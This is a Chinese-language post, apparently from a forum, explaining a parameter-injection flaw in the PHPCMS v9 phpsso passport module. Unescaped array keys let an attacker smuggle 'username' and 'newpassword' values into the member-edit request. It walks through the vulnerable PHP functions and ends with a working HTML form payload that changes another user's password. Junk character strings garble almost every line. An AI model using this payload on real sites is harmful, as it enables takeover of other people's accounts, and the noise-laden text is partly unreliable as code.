提到的通行证的代码:
$ H/ u) L8 Q% C3 l" b( H6 q: U+ y. ]3 \1 f2 e$ Q0 ^
8 h, {/ z, U; `' f
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);2 k$ S# L* G, c6 c( M
4 e/ K9 F! `7 l3 {: g
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。6 M1 o, V# y& Q% e+ G
% E# W6 L! J# S' Z/ u$ x# n我把它留给了你们。
+ J# }' Y( D, U. p0 Y) \) X8 v不知道你们发现了它没有。
1 h" z3 M, A, d: O$ [. L7 T# y; j: r* V$ V" H7 e9 ~7 T6 ~
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。8 R! b$ b; f! @& o( ^ _
" R% W9 t. `2 Q8 V/ I2 N& F所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
) k# n y& V/ h+ B3 y$ m' B" y$ `( [! F
也就是+ C2 Q: }7 w/ g. P& i& h, y# {
( [9 m' p, K( _; y
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。( Q5 \2 w; n5 j- }, q
" t+ z* r6 F N9 |
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。3 W8 _, u0 [- a4 S( R
* s* Q& J6 Z4 K& q1 G
' k+ M) O, l2 H! K其实我们有这样的机会,看看代码,如下:& H8 i2 m8 E; e' L0 N, ?
A1 \* O1 i+ I
7 ~% w+ F& H1 z: ?, @public function auth_data($data) {" {1 Y. U0 D( [8 C
$s = $sep = '';
* b6 a" q7 b: A+ r j/ r foreach($data as $k => $v) {
2 e0 W g7 c- G7 |0 _ if(is_array($v)) {8 r& h: Y7 G4 \: D2 h
$s2 = $sep2 = '';
/ M) o0 U1 H+ f. o# t foreach($v as $k2 => $v2) {
; t/ S( W) N* A: Z6 ^$ N $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
7 I" H7 z/ I) K3 l $sep2 = '&';! q+ K6 b. ^7 m) x
}
8 `( |1 ~& a1 Q& k4 A$ t8 h9 X $s .= $sep.$s2;
3 |' O% e$ d$ O ?& M; _' K } else {
! i) v' K8 `5 z $s .= "$sep$k=".$this->_ps_stripslashes($v);+ g( X; M' a9 k$ ]* {5 j ^
}8 j" I& g7 t3 l [6 S$ z- y! m2 A* G
$sep = '&';- P4 \% i# X( C9 M
}
+ ]) R8 M' i4 b+ g1 D
' I& g2 u5 \) I $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));( y% U! S) [% L
return $auth_s;4 w7 D0 z) m! R8 @) t3 @
}. q* a% H i4 ~
. j( j( S- `, c/ U C. o. ^可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
8 ], P% E: _0 C8 ]7 L+ y2 ?" L7 U4 c* \+ J) _6 j
举个例子
2 w4 \# _; [( }' r% |1 p1 F/ f" X; [# a- u! F
$a[aaa=a&bbb] = 'a';8 `1 F1 z/ Y g5 h H% H6 p
) A% s" K! { |8 C) k& s3 q会变成aaa=a&bbb=a# o( H+ S$ G# ^
) T+ K5 ?# |6 I3 ~明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。/ A& ^6 Y# H- A" {) k& @2 `0 ?
; b; h7 S2 E6 \4 p
这个时候,我们可以再去看一个函数。
5 `( d9 ?* n: {$ e# f% q( r, V+ z8 v* ~' i9 H, Q) G# w' N& c" S
就在这个文件内:, C- p( f+ n/ v6 I0 [. Q: Z4 r* L
" F8 b0 V" ~/ k* y9 g" k* t4 `5 w: L% Q) e
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
) }/ T, E3 Q6 e. E& }5 A) B3 H if($email && !$this->_is_email($email)) {* Z; g" b4 H7 K/ m( U9 O5 b4 Y
return -4;& Y/ g7 Z+ ^4 F& c, v* K5 \0 j
}
$ Q- O3 Z0 H. r7 c) K return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));+ ^9 [( m" F7 Q+ z$ ?' I- `
}5 j2 G( S2 m4 N, g" G: {+ S2 P
. u$ D7 r0 n% o# v- r' |- w3 s
这是向通行证发了这样一个请求。
" r8 h" z' P1 k0 r0 D& [3 J% w- M ?2 g- y
我们再跟到通信证代码里去看看,就会有所发现。
0 F6 ] |; U" \: Y8 x+ ^
- F% ^2 v+ u) I
" a7 c/ ?( b/ _5 \1 }public function edit() {. P1 u5 T5 T, K+ A7 i
//能省就省,太长了不是吗?
& T( W% W: N0 i }: P
7 i8 ~4 Q$ I6 |- j* ]. Uif($this->username) {
4 H' P4 L m8 f. J: t" M# z4 I//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
$ Y8 ]: _5 q" y' L* v/ L, f; N $res = $this->db->update($data, array('username'=>$this->username));$ {: [2 h+ L8 t4 x
} else {
* Y/ Q3 p6 `" P9 \) n7 v file_put_contents('typeb.txt',print_r($data,1).$this->uid);
$ W6 O; r) _% [6 S8 _ $res = $this->db->update($data, array('uid'=>$this->uid));- ]- Y) o$ [0 `0 k
}$ L7 V/ E& q% W3 e0 t
" a5 I, I# d3 c4 ]# x好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
0 v, l L' a4 b8 J O. n8 l! y3 c1 p4 P
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')2 b8 }' [; ~3 N4 @& F
* }3 G. p1 q5 Q3 B
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
! r7 B4 f- C2 D9 R# P3 j$ V* t
; H! F) [5 U5 c5 w& h, z我当然找到了:4 P* Z [; U" v3 C) H# w
phpcms9/phpcms/modules/member/index.php
8 E* M& H3 Q; G6 ?6 z2 Y1 G9 [3 a, k& Q* v& O1 H& p) V2 u E! t. b. e: ?$ V+ p) A
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);, O. h+ @+ { E o5 Q5 q/ L) i
K8 I) n6 V$ D+ r' H6 [5 |! c6 p然后就没有然后了。: V; ~/ m7 r& l
2 U) c' p- R% E' a+ v. z" E<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
3 Y2 n% F5 E: J$ ^+ B! J <table width="100%" cellspacing="0" class="table_form">
2 ]/ o, F+ S. |: w" _ <tr>
) r( ~( F# H" N' U" o% m <th width="80">邮箱:</th> * r( y! z* W8 C) w
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
7 C0 }. ]' |, o) X( a' k </tr>% {2 P5 n& N2 W# c( a2 A
<tr>
! Y3 V. u, l$ ^! t* H1 I6 w <th width="80">原密码:</th>
2 b! E- W3 c# R; \ <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>& B$ v& A- Z- S/ ?# Q( f" _% l
</tr>
5 r) W0 F$ _( T# W$ G5 g+ T <tr>: J2 \; a! ]7 k3 r
<th>新密码:</th>
* R/ G+ n. K+ G# R9 U: s$ o <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td># @. I$ X* s8 f$ x( H5 G
</tr>
, a) Y( r9 r, @; [5 [; p/ K& R <th></th>
! q8 c" U. ~1 x: I: C <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>3 X3 v8 x+ j& F* ~5 G3 g. [
</tr>
+ p' H# e) ?! \( I& K! U# i </table>" o, a2 |' o8 ^, L" B/ {: v2 V( h5 e
) x6 q5 n1 e. p9 A8 A0 M. s3 B
* ^. v. S5 l [, H% l
</form>
! }; P' E% p) W1 G |